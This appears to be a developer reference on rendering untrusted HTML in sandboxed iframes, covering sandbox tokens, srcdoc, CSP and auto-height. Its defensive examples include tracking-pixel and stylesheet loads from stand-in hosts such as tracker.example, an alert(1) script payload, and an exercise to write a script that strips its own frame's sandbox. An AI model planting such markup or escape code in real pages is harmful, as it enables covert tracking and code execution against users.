Area: Showing untrusted HTML safely
Related: Browser APIs (map), Blob and Object URLs, Clipboard and DataTransfer

What is it?

An <iframe> with the sandbox attribute runs its content with most powers switched off. It’s the browser’s built-in way to show HTML you don’t trust: user-written HTML, emails, ads, third-party widgets, AI-generated pages.

<iframe sandbox="" srcdoc="<h1>Hi</h1><p>untrusted content</p>"></iframe>

A glass box. You can see what’s inside, but it can’t touch anything outside, run code, or open doors.

Why not just sanitise and insert the HTML?

You can. Libraries like DOMPurify and rehype-sanitize strip <script>, onclick=, javascript: links and so on, and many apps do exactly that for markdown.

But sanitising works by removing what’s dangerous, and it has to know every trick. Sandboxing works by giving nothing by default. They’re good at different things:

Sanitise + insertSandboxed iframe
Stylesleak into your page, and yours into itfully isolated both ways
Layoutflows with your pagefixed box, you set the height
Security modeldeny-list (must catch everything)allow-list (off unless you allow it)
Arbitrary CSS, full pages, <style> blocksrisky and messyfine
Costcheapa whole new document per frame

If someone wants to paste a whole designed HTML page with its own <style>, a sandboxed iframe is the right tool. If it’s a little bit of formatted text, sanitising is lighter.

What sandbox="" turns off

An empty sandbox attribute applies every restriction:

  • No scripts. No <script>, no onclick, no javascript: URLs.
  • Unique opaque origin. The frame’s origin becomes "null". It can’t read your cookies, your localStorage, your IndexedDB, or anything from your site, even if it’s served from your own domain.
  • No forms. Submitting is blocked.
  • No popups. target="_blank" and window.open are blocked.
  • No top navigation. It can’t redirect your whole page.
  • No modals. No alert, confirm, prompt, print.
  • No downloads, no pointer lock, no orientation lock, no presentation API.
  • No plugins.

Adding powers back (tokens)

You list exactly what you allow:

<iframe sandbox="allow-scripts allow-popups" src="..."></iframe>
TokenAllows
allow-scriptsJavaScript
allow-same-originkeeps the frame’s real origin instead of "null"
allow-formsform submission
allow-popupswindow.open, target="_blank"
allow-popups-to-escape-sandboxpopups open without the sandbox
allow-top-navigation-by-user-activationmay navigate the top page, but only after a click
allow-top-navigationmay navigate the top page any time
allow-modalsalert and friends
allow-downloadsdownloads

The one combination you must never use for same-origin content

allow-scripts + allow-same-origin on content from your own origin is the same as no sandbox at all. The script in the frame has your origin, so it can reach up to the parent, find its own <iframe> element, and remove the sandbox attribute, then reload itself free. MDN and browsers warn about this specifically.

If you need scripts, keep allow-same-origin off, or serve the content from a different origin (a separate “usercontent” domain, which is what GitHub, Google and Figma do).

srcdoc: HTML without a URL

srcdoc puts the HTML straight into the attribute, so there’s no file to host:

<iframe sandbox="" srcDoc={userHtml} title="Preview" />

Things to know:

  • In React it’s srcDoc. In HTML it’s srcdoc. The value is escaped like any attribute, so React handles quotes for you.
  • The document’s URL is about:srcdoc.
  • A srcdoc document inherits the parent page’s Content Security Policy. Your page’s CSP applies inside the frame too.
  • If both src and srcdoc are set, srcdoc wins.

The trap: sandbox doesn’t stop network requests

sandbox="" stops scripts. It does not stop the frame from loading things:

<img src="https://tracker.example/pixel.gif?user=you">
<link rel="stylesheet" href="https://evil.example/style.css">
<style>body { background: url(https://tracker.example/bg) }</style>

All of these still fetch. That means untrusted HTML can track who views it and when, even with no JavaScript. Images can also be used to show misleading content from elsewhere.

To block network loads, add a Content Security Policy inside the srcdoc document:

<meta http-equiv="Content-Security-Policy"
      content="default-src 'none'; style-src 'unsafe-inline'; img-src data: blob:">
  • default-src 'none' blocks everything by default.
  • style-src 'unsafe-inline' allows the inline <style> blocks the author wrote.
  • img-src data: blob: allows embedded images but no remote ones.

Put this meta tag first in the <head> of the document you build for srcdoc.

Other attributes worth setting

<iframe
  sandbox=""
  srcDoc={doc}
  title="HTML block preview"   // accessibility: screen readers announce it
  referrerPolicy="no-referrer" // don't leak your page URL to anything it loads
  allow=""                     // Permissions Policy: no camera, mic, geolocation...
  loading="lazy"               // don't build off-screen frames yet
/>

The allow attribute is different from sandbox. It controls powerful features (camera, microphone, geolocation, clipboard, fullscreen) through Permissions Policy. Sandboxed frames mostly can’t use them anyway, but being explicit doesn’t hurt.

The height problem

An iframe doesn’t size itself to its content. With sandbox="" and an opaque origin, you can’t measure the content either: no scripts inside to report the height, and no access from the parent to read contentDocument.

Options:

  1. Fixed height chosen by the author or the app. Simple and safe.
  2. Allow scripts in the frame (but not same-origin) and have a tiny script postMessage its height to the parent. More moving parts, and now the frame runs code.
  3. Let the user resize it.

Many apps pick option 1 for untrusted content and store the height next to the HTML.

Talking to a sandboxed frame

If the frame has allow-scripts, it can postMessage to the parent. Because its origin is "null":

  • The parent should check event.source === iframe.contentWindow, since event.origin will just be "null".
  • Validate the message shape. Treat it as untrusted input.

With sandbox="" and no scripts, there’s no communication at all, which is the point.

Performance

Each iframe is a full document with its own style calculation and layout. Dozens of them on one page add up. Use loading="lazy", and consider showing a static placeholder until the frame is near the viewport.

A real-world example

A notes app that lets people embed their own HTML (a designed page, a chart, a mock-up) inside a note:

  • The HTML renders only in a srcdoc frame with sandbox="" and no tokens. It never gets allow-scripts or allow-same-origin.
  • The srcdoc document starts with a CSP meta tag based on default-src 'none' and img-src data: blob:, so the HTML can’t load anything from the network.
  • referrerPolicy="no-referrer" and an explicit allow list.
  • Each block stores its own height, because the frame can’t be measured.
  • Exports show a caption card instead of the HTML.

The same sandbox is used to preview .html files.

Ordinary markdown in the same app goes through rehype-sanitize (sanitise and insert), and diagram SVG output goes through DOMPurify. That’s the split described above: sanitise small formatted content, sandbox whole pages.

Gotchas

  • allow-scripts allow-same-origin on same-origin content = no sandbox.
  • sandbox="" still loads images, fonts and CSS from the network. Add a CSP inside.
  • srcdoc frames inherit the parent’s CSP.
  • You can’t auto-size a fully sandboxed frame. Store a height.
  • event.origin from a sandboxed frame is "null". Check event.source instead.
  • Always give iframes a title.
  • Every frame is a full document. Lazy-load them.

Practice

  1. Make a page with <iframe sandbox="" srcdoc="...">. Put <script>alert(1)</script> inside and confirm nothing happens. Then add <img src="https://httpbin.org/image/png"> and watch it load in the Network tab. Add the CSP meta tag and watch it get blocked.
  2. Try allow-scripts allow-same-origin with a same-origin src, and write a script inside that removes the frame’s own sandbox attribute through parent.document.
  3. Build auto-height with allow-scripts + postMessage, verifying event.source.
  4. Render 50 sandboxed frames and compare page load with and without loading="lazy".

Sources worth reading

  • MDN: iframe (the sandbox, srcdoc and allow sections)
  • web.dev: Play safely in sandboxed IFrames
  • MDN: Content Security Policy, Permissions Policy
  • HTML spec: Sandboxing